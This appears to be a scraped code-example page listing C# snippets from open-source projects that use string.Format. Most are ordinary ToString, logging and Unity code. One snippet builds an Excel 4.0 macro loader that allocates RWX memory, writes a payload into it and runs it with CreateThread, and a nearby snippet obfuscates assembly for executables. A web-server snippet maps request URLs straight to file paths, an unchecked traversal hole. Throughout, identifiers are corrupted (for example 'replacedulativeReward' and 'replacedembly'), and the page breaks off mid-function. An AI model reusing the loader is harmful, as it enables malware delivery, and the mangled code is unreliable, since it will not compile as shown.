string.Format(string, params object[])

Here are the examples of the csharp api string.Format(string, params object[]) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

5217 Examples 7

19 View Source File : BitfinexMarginInfoResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("MarginBalance: {0}, TradeableBalance: {1}, UnrealizedPl: {2}" +
                                 "UnrealizedSwap: {3}, NetValue: {4}, RequiredMargin: {5}, Leverage: {6}" +
                                 "MarginRequirement: {7}, Message: {8}", MarginBalance, TradableBalance, UnrealizedPl,
                                 UnrealizedSwap, NetValue, RequiredMargin, Leverage, MarginRequirement, Message);
         return str;
      }

19 View Source File : BitfinexSymbolsDetailsResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Pair: {0}, PricePrecision: {1}, InitialMargin: {2}, MinimumMargin: {3}, MaxOrderSize: {4}, MinOrderSize: {5}, Expiration: {6}",
               Pair,PricePrecision,InitialMargin,MinimumMargin,MaximumOrderSize,MinimumOrderSize,Expiration);
         return str;
      }

19 View Source File : SparrowIoC.cs
License : MIT License
Project Creator : 7Bytes-Studio

public void SetSingleInstance(object instance)
        {
            if(null==instance) throw new NullReferenceException(string.Format("Reference:instance is nullable."));
            var bindData = GetIoCBindDataByInstance(instance);
            if (null == bindData) throw new NullReferenceException(string.Format("Reference:bindData is nullable."));
            else
            {
                bindData.IsSingleInstance = true;
            }
        }

19 View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static List<String> GetX86GetBinaryLoaderPattern(List<string> preamble, string macroSheetName)
        {
            int offset;
            if (preamble.Count == 0)
            {
                offset = 1;
            } else
            {
                offset = preamble.Count + 1;
            }
            //TODO Autocalculate these values at generation time
            //These variables replacedume certain positions in generated macros
            //Col 1 is our obfuscated payload
            //Col 2 is our actual macro set defined below
            //Col 3 is a separated set of cells containing a binary payload, ends with the string END
            string lengthCounter = String.Format("R{0}C40", offset);
            string offsetCounter = String.Format("R{0}C40", offset + 1);
            string dataCellRef = String.Format("R{0}C40", offset + 2);
            string dataCol = "C2";

            //Expects our invocation of VirtualAlloc to be on row 5, but this will change if the macro changes
            string baseMemoryAddress = String.Format("R{0}C1", preamble.Count + 4); //for some reason this only works when its count, not offset

            //TODO [Stealth] Add VirtualProtect so we don't call VirtualAlloc with RWX permissions
            //TODO [Functionality] Apply x64 support changes from https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js
            //TODO [Functionality] Add support for .NET payloads (https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting, https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/)
            List<string> macros = new List<string>()
            {
                "=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"VA\",,1,0)",
                "=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CT\",,1,0)",
                "=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WPM\",,1,0)",
                "=VA(0,10000000,4096,64)", //Referenced by baseMemoryAddress
                string.Format("=SET.VALUE({0}!{1}, 0)", macroSheetName, lengthCounter),
                string.Format("=SET.VALUE({0}!{1},1)", macroSheetName, offsetCounter),
                string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
                string.Format("=WHILE(GET.CELL(5,{0}!{1})<>\"END\")", macroSheetName, dataCellRef),
                string.Format("=WPM(-1,{0}!{1}+{0}!{2},{0}!{3},LEN({0}!{3}),0)", macroSheetName, baseMemoryAddress, lengthCounter, dataCellRef),
                string.Format("=SET.VALUE({0}!{1}, {0}!{1} + 1)", macroSheetName, offsetCounter),
                string.Format("=SET.VALUE({0}!{1}, {0}!{1} + LEN({0}!{2}))", macroSheetName, lengthCounter, dataCellRef),
                string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
                "=NEXT()",
                //Execute our Payload
                string.Format("=CT(0,0,{0}!{1},0,0,0)", macroSheetName, baseMemoryAddress),
                "=WAIT(NOW()+\"00:00:03\")",
                "=HALT()"
            };
            if (preamble.Count > 0)
            {
                return preamble.Concat(macros).ToList();
            }
            return macros;
        }

19 View Source File : PPOLAgentSimpleCollision.cs
License : Apache License 2.0
Project Creator : A7ocin

public override void AgentStep(float[] action)
    {
        float velocity = 0.0f;

        //if (text != null)
        //{
        //    text.text = string.Format("C:{0}--{1} / T:{2}--{3} [{4}] A:({5})", currentX, currentZ, targetX, targetZ, solved, (int)action[0]);
        //}

        switch ((int)action[0])
        {
            case 0:
                currentX = Mathf.SmoothDamp(currentX, currentX - directionX * 5.0f, ref velocity, 0.4f);
                //currentX -= 0.01f;
                break;
            case 1:
                currentX = Mathf.SmoothDamp(currentX, currentX + directionX * 5.0f, ref velocity, 0.4f);
                //currentX += 0.01f;
                break;
            case 2:
                currentZ = Mathf.SmoothDamp(currentZ, currentZ - directionZ * 5.0f, ref velocity, 0.4f);
                //currentZ -= 0.01f;
                break;
            case 3:
                currentZ = Mathf.SmoothDamp(currentZ, currentZ + directionZ * 5.0f, ref velocity, 0.4f);
                //currentZ += 0.01f;
                break;
            default:
                return;
        }

        //if (currentX < -1.2 || currentX > 1.2 || currentZ < -1.2 || currentZ > 1.2)
        //{
        //    reward = -1f;
        //    done = true;
        //    return;
        //}

        agent.position = new Vector3(currentX, -0.5f, currentZ);
        agent.LookAt(goal.transform);

        float distance = Mathf.Sqrt(Mathf.Pow((targetX - currentX), 2) + Mathf.Pow((targetZ - currentZ), 2));
        float agentsDistance = Mathf.Sqrt(Mathf.Pow((otherAgent.transform.position.x - currentX), 2) + Mathf.Pow((otherAgent.transform.position.z - currentZ), 2));
        float expectedReward = 0f;
        float originalDistance = Mathf.Sqrt(Mathf.Pow((originalX - originalGoalX), 2) + Mathf.Pow((originalZ - originalGoalZ), 2));
        float distanceFromOrigin = Mathf.Sqrt(Mathf.Pow((originalX - currentX), 2) + Mathf.Pow((originalZ - currentZ), 2));

        //expectedReward = calculateReward(distance, agentsDistance, originalDistance);


        if (text != null)
        {
            text.text = string.Format("D:{0} / OD:{1} / AD:{2} [{3};{4}]", distance, originalDistance, agentsDistance, solved, failures);
        }

        //Reached Goal
        if (distance <= 2f)
        {
            solved += 1;
            reward = 2f;
            done = true;
            return;
        }
        //Too far
        else if (distance > originalDistance || agentsDistance < 1)// || agentsDistance < 1 || distanceFromOrigin > originalDistance)
        {
            failures += 1;
            reward = -1f;
            done = true;
            return;
        }
        //Out of social zone
        else if(agentsDistance > 2)
        {
            reward = (1 - (distance / originalDistance)) - replacedulativeReward;
            Debug.Log((1 - (distance / originalDistance)) + " - " + replacedulativeReward + " = " + reward);
        }
        //Inside social zone
        else
        {
            reward = (1 - (distance / originalDistance)) - replacedulativeReward - (2 - agentsDistance);
            Debug.Log((1 - (distance / originalDistance)) + " - " + replacedulativeReward + " - (2 - " + agentsDistance + ") = " + reward);
        }
    }

19 View Source File : SerializableObjects.cs
License : MIT License
Project Creator : 734843327

public override string ToString()
		{
			return String.Format("[{0}, {1}, {2}, {3}]", x, y, z, w);
		}

19 View Source File : BitfinexNewOrderResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
       {
          var str = string.Format("New Order (Id: {0}) Symb:{1} {2} Sz:{3} - Px:{4}. (Type:{5}, IsLive:{6}, Executed Amt:{7} - OrderId: {8})" +
                "(IsCancelled: {9}, WasForced: {10}, RemainingAmount: {11}, ExecutedAmount: {12})",
                Id, Symbol, Side, OriginalAmount, Price, Type, IsLive, ExecutedAmount, OrderId,
                IsCancelled, WasForced, RemainingAmount, ExecutedAmount);
          return str;
       }

19 View Source File : G.cs
License : MIT License
Project Creator : 2881099

public static string GetConnectionString(FreeSql.DataType dataType, string uid, string pwd,
            string host, string dataName, string port, int valid = 0)
        {
            var connString = keyValues[valid == 0 ? dataType.ToString() : dataType.ToString() + "1"];
            if (host.Length == 1 && host == ".") host = "127.0.0.1";
            connString = string.Format(connString, uid, pwd, host, dataType == FreeSql.DataType.SqlServer ?
                port =="1433"?"":$",{port}": port, dataName);
            return connString;
        }

19 View Source File : BitfinexActiveCreditsResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str =
            string.Format(
               "Id: {0}, Currency: {1}, Status: {2}, Rate: {3}, DailyRate: {4}, Period: {5}, Amount: {6}, Timestamp: {7}",
               Id, Currency, Status, Rate, DailyRate, Period, Amount, Timestamp);
         return str;
      }

19 View Source File : NAudioPlayer.cs
License : MIT License
Project Creator : 39M

public override string ToString()
    {
        return string.Format("[WAV: LeftChannel={0}, RightChannel={1}, ChannelCount={2}, SampleCount={3}, Frequency={4}]", LeftChannel, RightChannel, ChannelCount, SampleCount, Frequency);
    }

19 View Source File : UI.cs
License : MIT License
Project Creator : aaaddress1

private void compile_Click(object sender, EventArgs e)
        {

            (new System.Threading.Thread(() =>
            {
                this.Invoke((MethodInvoker)delegate () {
                    compile.Enabled = false;
                    logBox.Clear();
                    logMsg(demostr, Color.Blue);
                    this.splitContainer.Panel2Collapsed = false;
                    this.logPanelBtn.Text = "x";
                });
                File.WriteAllText(srcPath, this.fastColoredTextBox.Text);
                File.Delete(exePath);
                File.Delete(asmPath);
                File.Delete(obfAsmPath);

                logMsg(" --- \n", Color.Blue);
                logMsg(string.Format(
                        "[\tInfo\t] current compile info... \n" +
                        " - source: {0}\n" +
                        " - asm path: {1}\n" +
                        " - obfuscated asm path: {2}\n" +
                        " - output exe path: {3}\n", srcPath, asmPath, obfAsmPath, exePath), Color.Blue);

                if (compiler.geneateAsmSource(srcPath, asmPath))
                    logMsg("[\tOK\t] generate replacedembly code of source code.", Color.Green);
                else
                {
                    logMsg("[\tFail\t] generate replacedembly code of sorce code failure ...", Color.Red);
                    this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; });
                    return;
                }

                if (obfuscator.obfuscaAsm(asmPath, obfAsmPath))
                    logMsg("[\tOK\t] generate obfuscated replacedembly code of source code.", Color.Green);
                else
                {
                    logMsg("[\tFail\t] generate obfuscated replacedembly code of sorce code failure ...", Color.Red);
                    this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; });
                    return;
                }
                if (compiler.generateExe(obfAsmPath, exePath))
                {
                    var arr = System.IO.File.ReadAllBytes(exePath);
                    var size = arr.Length;
                    var md5 = BitConverter.ToString(MD5.Create().ComputeHash(arr)).Replace("-", "");
                    var sha256 = BitConverter.ToString(SHA256.Create().ComputeHash(arr)).Replace("-", "");
                    logMsg("[\tInfo\t] exe size: " + size + " bytes", Color.Blue);
                    logMsg("[\tInfo\t] MD5: " + md5, Color.Blue);
                    logMsg("[\tInfo\t] SHA256: " + sha256, Color.Blue);
                    logMsg("[\tOK\t] generate executable file successfully :)", Color.Green);
                }
                else
                    logMsg("[\tFail\t] generate executable file failure ... o___O", Color.Red);
 
                if (Properties.Settings.Default.clnAftCompile)
                {
                    File.Delete(asmPath);
                    File.Delete(obfAsmPath);
                }
                this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; });
            })
            { IsBackground = true }).Start();
        }

19 View Source File : WebServer.cs
License : Apache License 2.0
Project Creator : A7ocin

void OnGetContext(IAsyncResult async)
        {
            // start listening for the next request
            _listener.BeginGetContext(OnGetContext, null);
            var context = _listener.EndGetContext(async);
            try
            {
                if (context.Request.RawUrl == "/")
                {
                    Debug.Log("[WebServer] context.Request.RawUrl");
                    context.Response.StatusCode = 200;
                    var process = System.Diagnostics.Process.GetCurrentProcess();
                    string msg = string.Format(@"<html><body><h1>UMA Simple Web Server</h1><table>
						<tr><td>Host Application</td><td>{0} (Process Id: {1})</td></tr>
						<tr><td>Working Directory</td><td>{2}</td></tr>
						</table><br><br>{3}</body></html>", process.ProcessName, process.Id, System.IO.Directory.GetCurrentDirectory(), GetLog("<br>"));
                    var data = System.Text.Encoding.UTF8.GetBytes(msg);
                    context.Response.OutputStream.Write(data, 0, data.Length);
                    context.Response.OutputStream.Close();
                    //Tried adding response close aswell like in Adamas original
                    context.Response.Close();
                }
                else
                {
                    var filePath = System.IO.Path.Combine(_hostedFolder, context.Request.RawUrl.Substring(1));
                    if (System.IO.File.Exists(filePath))
                    {
                        using (var file = System.IO.File.Open(filePath, System.IO.FileMode.Open))
                        {
                            var buffer = new byte[file.Length];
                            file.Read(buffer, 0, (int)file.Length);
                            context.Response.ContentLength64 = file.Length;
                            context.Response.StatusCode = 200;
                            context.Response.OutputStream.Write(buffer, 0, (int)file.Length);
                        }
                    }
                    else
                    {
                        context.Response.StatusCode = 404;
                        UnityEngine.Debug.LogErrorFormat("Url not served. Have you built your replacedet Bundles? Url not served from: {0} '{1}'", context.Request.RawUrl, filePath);
#if UNITY_EDITOR
                        replacedetBundleManager.SimulateOverride = true;
                        context.Response.OutputStream.Close();
                        //Tried adding response close aswell like in Adamas original
                        context.Response.Abort();
                        return;
#endif
                    }
                }
                lock (_requestLog)
                {
                    _requestLog.Add(string.Format("{0} {1}", context.Response.StatusCode, context.Request.Url));
                }
                context.Response.OutputStream.Close();
                context.Response.Close();
            }
            catch (HttpListenerException e)
            {
                if (e.ErrorCode == -2147467259)
                {
                    // shutdown, terminate silently
                    Debug.LogWarning("[Web Server] ErrorCode -2147467259: terminate silently");
                    context.Response.Abort();
                    return;
                }
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
            catch (Exception e)
            {
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
        }

19 View Source File : MpInfoContainer.cs
License : MIT License
Project Creator : 52ABP

public static MpInfoBag TryGetMpInfo(string key)
        {
            if (!CheckRegistered(key))
            {
                throw new UnRegisterAppIdException(key, string.Format("此appId尚未注册,WechatTokenContainer.Register完成注册(全局执行一次即可)!"));
            }

            var mpInfoBag = TryGereplacedem(key);

            return mpInfoBag;
        }

19 View Source File : BitfinexDepositResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Result: {0}, Method: {1}, Currency: {2}, Address: {3}",Result,Method,Currency,Address);
         return str;
      }

19 View Source File : DisplayGUI.cs
License : MIT License
Project Creator : 1ZouLTReX1

private void RTTCompactStats()
    {
        GUIStyle style = new GUIStyle();

        Rect rect = new Rect(offset + 110, offset, w, h);
        style.alignment = TextAnchor.UpperLeft;

        style.font = font;
        style.fontSize = fontSize;
        style.normal.textColor = Color.white;

        string text = string.Format("RTT:---");
        if (rtt >= 0)
            text = string.Format("RTT:{0}", rtt);
        GUI.Label(rect, text, style);
    }

19 View Source File : BitfinexMyTradesResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str =
            string.Format(
               "Price: {0}, Amount: {1}, Timestamp: {2}, Exchange: {3}, Type: {4}, FeeCurrency: {5}, FeeAmount: {6}, Tid: {7}, OrderId: {8}",
               Price, Amount, Timestamp, Exchange, Type, FeeCurrency, FeeAmount, Tid, OrderId);
         return str;
      }

19 View Source File : Event.EventTopic.partial.cs
License : MIT License
Project Creator : 7Bytes-Studio

public static EventTopic Create(object creator,string topicName)
            {
                if (!s_DictionaryEventTopic.ContainsKey(topicName))
                {
                    var eventTopic = new EventTopic();
                    eventTopic.Creator = creator;
                    eventTopic.UniqueTopicName = topicName;
                    eventTopic.CreateTime = DateTime.Now;
                    eventTopic.ThreadId = Thread.CurrentThread.ManagedThreadId;
                    s_DictionaryEventTopic.Add(topicName,eventTopic);
                    return eventTopic;
                }
                throw new Exception(string.Format("事件主题:{0}已经创建过了,请务重复创建。"));
            }

19 View Source File : BitfinexOrderStatusResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
        {
           var str = string.Format("(Id: {0}) Symb:{1} {2} Sz:{3} - Px:{4}. (Type:{5}, IsLive:{6}, Executed Amt:{7})" +
                 "(IsCancelled: {8}, WasForced: {9}, RemainingAmount: {10}, ExecutedAmount: {11})",
                 Id, Symbol, Side, OriginalAmount, Price, Type, IsLive, ExecutedAmount, IsCancelled, 
                 WasForced, RemainingAmount, ExecutedAmount);
           return str;
        }

19 View Source File : Entry.cs
License : MIT License
Project Creator : 0ffffffffh

private string MakeTag(string tagName, object value, string attribName = null, object attribValue = null)
        {
            if (!string.IsNullOrEmpty(attribName))
                return string.Format("<{0} {1}=\"{2}\">{3}</{0}>", tagName, attribName, attribValue.ToString(), value);

            return string.Format("<{0}>{1}</{0}>", tagName, value);
        }

19 View Source File : Ask.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Ask - Rate: {0}, Amount: {1}, Period: {2}, Timestamp: {3}, Frr: {4}",
            Rate, Amount, Period, Timestamp, Frr);
         return str;
      }

19 View Source File : ChineseExtension.cs
License : GNU Lesser General Public License v3.0
Project Creator : 8720826

public static string FormatTo(this string str, params object[] args)
        {
            return string.Format(str, args);
        }

19 View Source File : PPOLAgent.cs
License : Apache License 2.0
Project Creator : A7ocin

public override void AgentStep(float[] action)
    {
        float velocity = 0.0f;

        if (text != null)
        {
            text.text = string.Format("C:{0}--{1} / T:{2}--{3} [{4}] A:({5})", currentX, currentZ, targetX, targetZ, solved, (int)action[0]);
        }

        switch ((int)action[0])
        {
            case 0:
                currentX = Mathf.SmoothDamp(currentX, currentX - 5.0f, ref velocity, 0.4f);
                //currentX -= 0.01f;
                break;
            case 1:
                currentX = Mathf.SmoothDamp(currentX, currentX + 5.0f, ref velocity, 0.4f);
                //currentX += 0.01f;
                break;
            case 2:
                currentZ = Mathf.SmoothDamp(currentZ, currentZ - 5.0f, ref velocity, 0.4f);
                //currentZ -= 0.01f;
                break;
            case 3:
                currentZ = Mathf.SmoothDamp(currentZ, currentZ + 5.0f, ref velocity, 0.4f);
                //currentZ += 0.01f;
                break;
            default:
                return;
        }

        //if (currentX < -1.2 || currentX > 1.2 || currentZ < -1.2 || currentZ > 1.2)
        //{
        //    reward = -1f;
        //    done = true;
        //    return;
        //}

        agent.position = new Vector3(currentX, -0.5f, currentZ);
        agent.LookAt(goal.transform);

        float distance = Mathf.Sqrt(Mathf.Pow((targetX - currentX),2) + Mathf.Pow((targetZ - currentZ),2));
        if (distance <= 2f)
        {
            solved += 1;
            reward = 1;
            done = true;
            return;
        }
        else if (distance > 20)
        {
            reward = -1f;
            done = true;
            return;
        }
        else
        {
            reward = 0 - distance - replacedulativeReward - 1;
            return;
        }
    }

19 View Source File : DBHelperMySQL.cs
License : Apache License 2.0
Project Creator : 0nise

public static string Top30Money()
        {
            // 未提取存款
            Hashtable userMoney = new Hashtable();
            Hashtable userInfo = new Hashtable();
            // 已经提取存款
            Hashtable userBlank = new Hashtable();
            // 财富榜前20
            Hashtable userData = new Hashtable();
            string resultMsg = "";
            MySqlConnection connection = null;
            try
            {
                connection = ConnectionPool.getPool().getConnection();
                // 链接为null就执行等待
                while (connection == null)
                {

                }
                string sql = "SELECT bbs_nick_name,user_money,user_qq FROM ichunqiu_blank";
                using (MySqlCommand cmd = new MySqlCommand(sql,connection))
                {
                    using (MySqlDataReader myDataReader = cmd.ExecuteReader())
                    {
                        while (myDataReader.Read() == true)
                        {
                            userMoney.Add(myDataReader["bbs_nick_name"], myDataReader["user_money"]);
                            userInfo.Add(myDataReader["user_qq"], myDataReader["bbs_nick_name"]);
                        }
                    }
                }
                // 提取历史提取总金额
                userBlank = getAllHistorySumMoney(userInfo);
                //  ArrayList allMoney = new ArrayList();
                List<Decimal> allMoney = new List<decimal>();
                foreach (DictionaryEntry item in userMoney)
                {
                    decimal blance = Convert.ToDecimal(item.Value);
                    decimal historyBlance = Convert.ToDecimal(userBlank[item.Key]);
                    userData.Add(item.Key, historyBlance + blance);
                    allMoney.Add(historyBlance + blance);
                }
                /*
                List<decimal> allMoney = new List<decimal>();
                foreach (string item in userData.Values)
                {
                    allMoney.Add(Convert.ToDecimal(item));
                }*/
                // 降序
                allMoney.Sort((x, y) => -x.CompareTo(y));
                int i = 0;
                foreach (decimal money in allMoney)
                {
                    foreach (DictionaryEntry item in userData)
                    {
                        if (Convert.ToDecimal(item.Value) == money)
                        {
                            resultMsg += string.Format("NO【{0}】:{1}身价{2},已提取存款{3},未提取存款{4}\n", (i + 1).ToString(), Convert.ToString(item.Key), Convert.ToString(money), Convert.ToString(userBlank[item.Key]), Convert.ToString(userMoney[item.Key]));
                            // 删除用户避免出现重复的情况
                            userData.Remove(item.Key);
                            break;
                        }
                    }
                    i++;
                    if (i > 29)
                    {
                        break;
                    }
                }
            }
            catch (Exception)
            {
                throw;
            }
            finally {
                if (connection != null) {
                    connection.Close();
                }
                // 关闭数据库链接
                ConnectionPool.getPool().closeConnection(connection);
            }
            return resultMsg;
        }

19 View Source File : DemoPPOLAgent.cs
License : Apache License 2.0
Project Creator : A7ocin

public override void AgentStep(float[] action)
    {
        float velocity = 0.0f;

        if (text != null)
        {
            text.text = string.Format("C:{0}--{1} / T:{2}--{3} [{4}] A:({5})", currentX, currentZ, targetX, targetZ, solved, (int)action[0]);
        }

        switch ((int)action[0])
        {
            case 0:
                currentX = Mathf.SmoothDamp(currentX, currentX - 5.0f, ref velocity, 0.4f);
                //currentX -= 0.01f;
                break;
            case 1:
                currentX = Mathf.SmoothDamp(currentX, currentX + 5.0f, ref velocity, 0.4f);
                //currentX += 0.01f;
                break;
            case 2:
                currentZ = Mathf.SmoothDamp(currentZ, currentZ - 5.0f, ref velocity, 0.4f);
                //currentZ -= 0.01f;
                break;
            case 3:
                currentZ = Mathf.SmoothDamp(currentZ, currentZ + 5.0f, ref velocity, 0.4f);
                //currentZ += 0.01f;
                break;
            default:
                return;
        }

        //if (currentX < -1.2 || currentX > 1.2 || currentZ < -1.2 || currentZ > 1.2)
        //{
        //    reward = -1f;
        //    done = true;
        //    return;
        //}

        agent.position = new Vector3(currentX, 0f, currentZ);
        agent.LookAt(goal);

        float distance = Mathf.Sqrt(Mathf.Pow((targetX - currentX),2) + Mathf.Pow((targetZ - currentZ),2));
        if (distance <= 0.5f)
        {
            solved += 1;
            reward = 1;
            done = true;
            return;
        }
        else if (distance > 10)
        {
            reward = -1f;
            done = true;
            return;
        }
        else
        {
            reward = 0 - distance - replacedulativeReward - 1;
            return;
        }
    }

19 View Source File : CommonException.cs
License : MIT License
Project Creator : 3F

protected static string Format(ref string message, params object[] args)
        {
            return String.Format(message, args);
        }

19 View Source File : BitfinexActiveSwapsInMarginResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str =
            string.Format(
               "Id: {0}, PositionId: {1}, Currency: {2}, Rate: {3}, Daily Rate: {4}, Period: {5}, Amount: {6}, Timestamp: {7}",
               Id, PositionId, Currency, Rate, DailyRate, Period, Amount, Timestamp);
         return str;
      }

19 View Source File : ObstacleAgent.cs
License : Apache License 2.0
Project Creator : A7ocin

public override void AgentStep(float[] action)
    {
        if (text != null)
        {
            text.text = string.Format("C:{0}--{1} / O:{2}--{3} [{4}])", currentX, currentZ, obstacleX, obstacleZ, solved);
        }

        switch ((int)action[0])
        {
            case 0:
                currentX -= 0.1f;
                break;
            case 1:
                currentX += 0.1f;
                break;
            case 2:
                currentZ -= 0.1f;
                break;
            case 3:
                currentZ += 0.1f;
                break;
            default:
                return;
        }

        agent.position = new Vector3(currentX, 1f, currentZ);
        obstacle.position = new Vector3(obstacleX, 0.5f, obstacleZ);
        goal.position = new Vector3(goalX, 0.5f, goalZ);

        float distance = Mathf.Sqrt(Mathf.Pow((goalX - currentX), 2) + Mathf.Pow((goalZ - currentZ), 2));
        float obstacleDistance = Mathf.Sqrt(Mathf.Pow((obstacleX - currentX), 2) + Mathf.Pow((obstacleZ - currentZ), 2));

        if (distance <= 2f || goalReached)
        {
            solved += 1;
            reward = 1;
            goalReached = false;
            done = true;
            return;
        }
        else if (obstacleDistance < 2 || distance > 20)// || currentX > 3 || currentX < -3 || currentZ < -8)
        {
            reward = -1f;
            done = true;
            return;
        }
        //else if(currentX > 3 || currentX < -3 || currentZ < -8)
        //{
        //    reward = -0.005f;
        //}
        else
        {
            reward = -(distance/10000);// -0.002f;
            return;
        }
    }

19 View Source File : Converter.cs
License : MIT License
Project Creator : 4egod

public static string Format(this string value, params object[] args)
        {
            return string.Format(value, args);
        }

19 View Source File : obfuscator.cs
License : MIT License
Project Creator : aaaddress1

private static void obfuscatCode(string orginalCode, ref string currLineAddition, ref string extraCodeAddition, bool forceJunk = false)
        {
            currLineAddition = orginalCode + "\r\n";
            extraCodeAddition = "";
            if (!shouldGeneratJunk() && !forceJunk) return;

            obfuscat_code_count++;
            Match m = new Regex(@"mov[\x20\t]+([^,]+),(.+)").Match(orginalCode);
            if (m.Success)
            {
                currLineAddition = string.Format(
                    "push {1}           \r\n" +
                    "call obfusca_{2}   \r\n" +
                    "pop {0}            \r\n",
                    m.Groups[1].Value, m.Groups[2].Value, label_extra_count
                    );

                extraCodeAddition = string.Format(
                    "obfusca_{0}:       \r\n" +
                    "pushf              \r\n" +
                    "push ecx           \r\n" +
                    "mov ecx, {2}      \r\n" +
                    "obfusca_{1}:       \r\n" +
                    "loop obfusca_{1}   \r\n" +
                    "pop ecx            \r\n" +
                    "popf               \r\n" +
                    "ret                \r\n", label_extra_count, label_extra_count+1, rnd.Next(5, 128)
                    );
                    label_extra_count += 2;
                return;
            }

            m = new Regex(@"call[\x20\t]+(.+)").Match(orginalCode);
            if (m.Success)
            {
                currLineAddition = string.Format(
                    "push offset obfusca_{1}         \r\n" +
                    "push offset {0}                        \r\n" +
                    "ret                             \r\n" +
                    "obfusca_{1}:",
                    m.Groups[1].Value, label_extra_count
                    );
                extraCodeAddition = "";
                label_extra_count += 1;
                return;
            }

            currLineAddition = string.Format(
                "obfusca_{1}:       \r\n" +
                "call obfusca_{2}   \r\n" +
                "loop obfusca_{1}    \r\n" +
                "obfusca_{2}:       \r\n" +
                "call obfusca_{3}    \r\n"+
                "loop obfusca_{1}   \r\n" +
                "obfusca_{3}:       \r\n" +
                "call obfusca_{4}   \r\n" +
                "loop obfusca_{2}   \r\n" +
                "obfusca_{4}:       \r\n" +
                "lea esp, [esp+12]  \r\n" +
                "{0}                \r\n",
                orginalCode, label_extra_count, label_extra_count + 1, label_extra_count + 2, label_extra_count + 3
                );
            label_extra_count += 4;

        }

19 View Source File : ICachingKeyGenerator.Default.cs
License : MIT License
Project Creator : 1100100

public string ReplacePlaceholder(string keyPlaceholder, bool customKey, object[] args)
        {
            if (args == null || args.Length <= 0) return keyPlaceholder;
            return customKey ? string.Format(keyPlaceholder, args) : string.Format(keyPlaceholder, MD5(Codec.Serialize(args)));
        }

19 View Source File : BitfinexBalanceResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
       {
          var str = string.Format("Type: {0}, Currency: {1}, Amount: {2}, Available: {3}", Type, Currency, Amount,Available);
          return str;
       }

19 View Source File : FormatExpression.cs
License : MIT License
Project Creator : 71

public override string ToString() => $"$\"{string.Format(Format, Expressions.Select(x => (object)('{' + x.ToString() + '}')).ToArray())}\"";

19 View Source File : BitfinexHistoryResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Currency: {0}, Amount: {1}, Balance: {2}, Desc: {3}, Timestamp: {4}",
            Currency,Amount,Balance,Description,Timestamp);
         return str;
      }

19 View Source File : Log.cs
License : MIT License
Project Creator : 0ffffffffh

private static void Write(LogType type, string format, params object[] args)
        {
            ConsoleColor typeColor,origColor;
            ulong mask = (ulong)type;

            string log = string.Format(format, args);

            logFile.Write(type.ToString() + ": " + log);

            if ((logMask & mask) == mask)
            {
                typeColor = GetColorByLogType(type);

                lock (consLock)
                {
                    origColor = Console.ForegroundColor;
                    Console.ForegroundColor = typeColor;

                    Console.Write(string.Format("{0}: ", type.ToString()));

                    Console.ForegroundColor = origColor;

                    Console.WriteLine(log);
                }
            }
        }

19 View Source File : BitfinexMarginPositionResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Id: {0}, Symbol: {1}, Status: {2}, Base: {3}, Amount: {4}, Timestamp: {5}" +
                                 "Swap: {6}, Pl: {7}", Id, Symbol, Status, Base, Amount, Timestamp, Swap, Pl);
         return str;
      }

19 View Source File : Event.cs
License : MIT License
Project Creator : 7Bytes-Studio

public static void On(string topicName,object listener,EventHandler eventHandler)
        {
            if (null== listener || null== eventHandler)
            {
                throw new ArgumentNullException(string.Format("参数listener和eventHandler都不能为空。"));
            }

            var subscriber = Subscriber.Spawn(listener,eventHandler);
            var eventTopic = CheckOrCreateEventTopic(listener,topicName);
            eventTopic.OnSubscrib(subscriber);
        }

19 View Source File : BitfinexNewOrderPost.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Symbol: {0}, Amount: {1}, Price: {2}, Exchange: {3}, Side: {4}, Type: {5}", 
                                 Symbol,Amount,Price,Exchange,Side,Type);
         return str;
      }

19 View Source File : DotNetToJScript.cs
License : MIT License
Project Creator : 1y0n

static void WriteError(string format, params object[] args)
        {
            WriteError(String.Format(format, args));
        }

19 View Source File : BitfinexOfferStatusResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str =
            string.Format(
               "Id: {0}, Currency: {1}, Rate: {2}, Period: {3}, Direction: {4}, Timestamp: {5}, IsLive: {6}" +
               "IsCancelled: {7}, OrigAmount: {8}, RemainingAmt: {9}, ExeAmt: {10}, OfferId: {11}",
               Id,Currency,Rate,Period,Direction,Timestamp,IsLive,IsCancelled,OriginalAmount,RemainingAmount,
               ExecutedAmount,OfferId);
         return str;
      }

19 View Source File : SparrowIoC.cs
License : MIT License
Project Creator : 7Bytes-Studio

public void SetSingleInstance(Type targetTypeOrSelfType)
        {
            TargetTypeCheck(targetTypeOrSelfType);
